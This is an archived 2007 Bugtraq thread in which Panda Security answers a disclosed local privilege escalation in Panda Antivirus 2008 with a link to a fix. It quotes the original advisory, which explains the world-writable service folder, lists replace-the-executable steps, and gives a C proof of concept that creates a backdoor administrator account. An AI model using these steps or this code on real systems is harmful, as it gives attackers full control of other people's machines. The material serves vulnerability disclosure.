bugtraq - RE: Panda Antivirus 2008 Local Privileg Escalation (UPS they did it again)

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Date: Wed, 19 Sep 2007 22:58:42 +0200
From: "Panda Security Response" <secure@...dasecurity.com>
To: "Full Disclosure" <full-disclosure@...ts.grok.org.uk>,
	<bugtraq@...urityfocus.com>
Cc: <edi.strosar@...nostne-novice.com>, <tarkus@...fp.org>,
	<vuldb@...urityfocus.com>
Subject: RE: Panda Antivirus 2008 Local Privileg Escalation (UPS they did it again) 

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Hash: SHA1

Regarding the priviledge escalation report below for Panda Antivirus
2008, there is a fix available here:
http://www.pandasecurity.com/homeusers/support/card?id=41111&idIdioma=
2&ref=PAV08Dev

Users of vulnerable 2007 versions should upgrade to Panda Antivirus
2008 and apply the fix provided.

For future vulnerability reporting to Panda please write specifically
and exclusively to "Panda Security Response"
<secure@...dasecurity.com> instead of generic beta or informational
contact mailboxes.

- ----------------------------------------------
Pedro Bustamante
Senior Research Advisor
Panda Security

email: pedro.bustamante@...dasecurity.com <0xC684A6F9>
vulns: secure@...dasecurity.com <0x70F3FEA0>
phone: (+34) 91-8063700
blog:  http://research.pandasoftware.com 
- ----------------------------------------------

_________________________________________
Security Advisory
_________________________________________

Severity: Medium
Title: Panda Antivirus 2008 Local Privileg Escalation
Date: 02.08.07
Author: tarkus (tarkus (at) tiifp (dot) org)
URL: https://tiifp.org/tarkus
Vendor: Panda (http://www.pandasoftware.com/)
Affected Products: Panda Antivirus 2008
Not Affected Products: - Panda Internetsecurity 2008
- - Panda Antivirus + Firewall 2008

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- -

Description:
- ------------

1. During installation of Panda Antivirus 2008 the permissions for
installation folder %ProgramFiles%\Panda Security\Panda Antivirus
2008by default are set to Everyone:Full Control. Few services
(e.g. PAVSRV51.EXE) are started from this folder. Services are
started
under LocalSystem account. There is no protection of service files.
It's
possible for unprivileged user to replace service executable with the
file of his choice to get full access with LocalSystem privileges. Or
to
get privileges or any user (including system administrator) who
logons
to vulnerable host. This can be exploited by:

a. Rename PAVSRV51.exe to PAVSRV51.old in Panda folder
b. Copy any application to PAVSRV51.exe
c. Reboot

Upon reboot trojaned application will be executed with LocalSystem
account.

BTW: Check this from last year
(http://www.securityfocus.com/bid/19891)

POC:
- ----

#include <windows.h>
#include <stdio.h>

INT main( VOID )
{
CHAR szWinDir[ _MAX_PATH ];
CHAR szCmdLine[ _MAX_PATH ];

GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );

printf( "Creating user \"owner\" with password
\"PandaOWner123\"...\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe user owner PandaOWner123
/add", szWinDir );

system( szCmdLine );

printf( "Adding user \"owner\" to the local Administrators
group...\n" );

wsprintf( szCmdLine, "%s\\system32\\net.exe localgroup Administrators
owner /add", szWinDir );

system( szCmdLine );

return 0;
}

Vendor Response:
- ----------------

[...]
Thank you very much for having reported us this piece of information.
This feedback will allow us to keep improving our products and to
prepare new releases that will fit your actual needs and helps us to
create a better product.
[...]

Disclosure Timeline:
- --------------------

2007.06.07 - Vulnerability found
2007.06.07 - Reported to Vendor (Until Beta)
2007.07.31 - Released by vender
2007.08.02 - Public Disclosure

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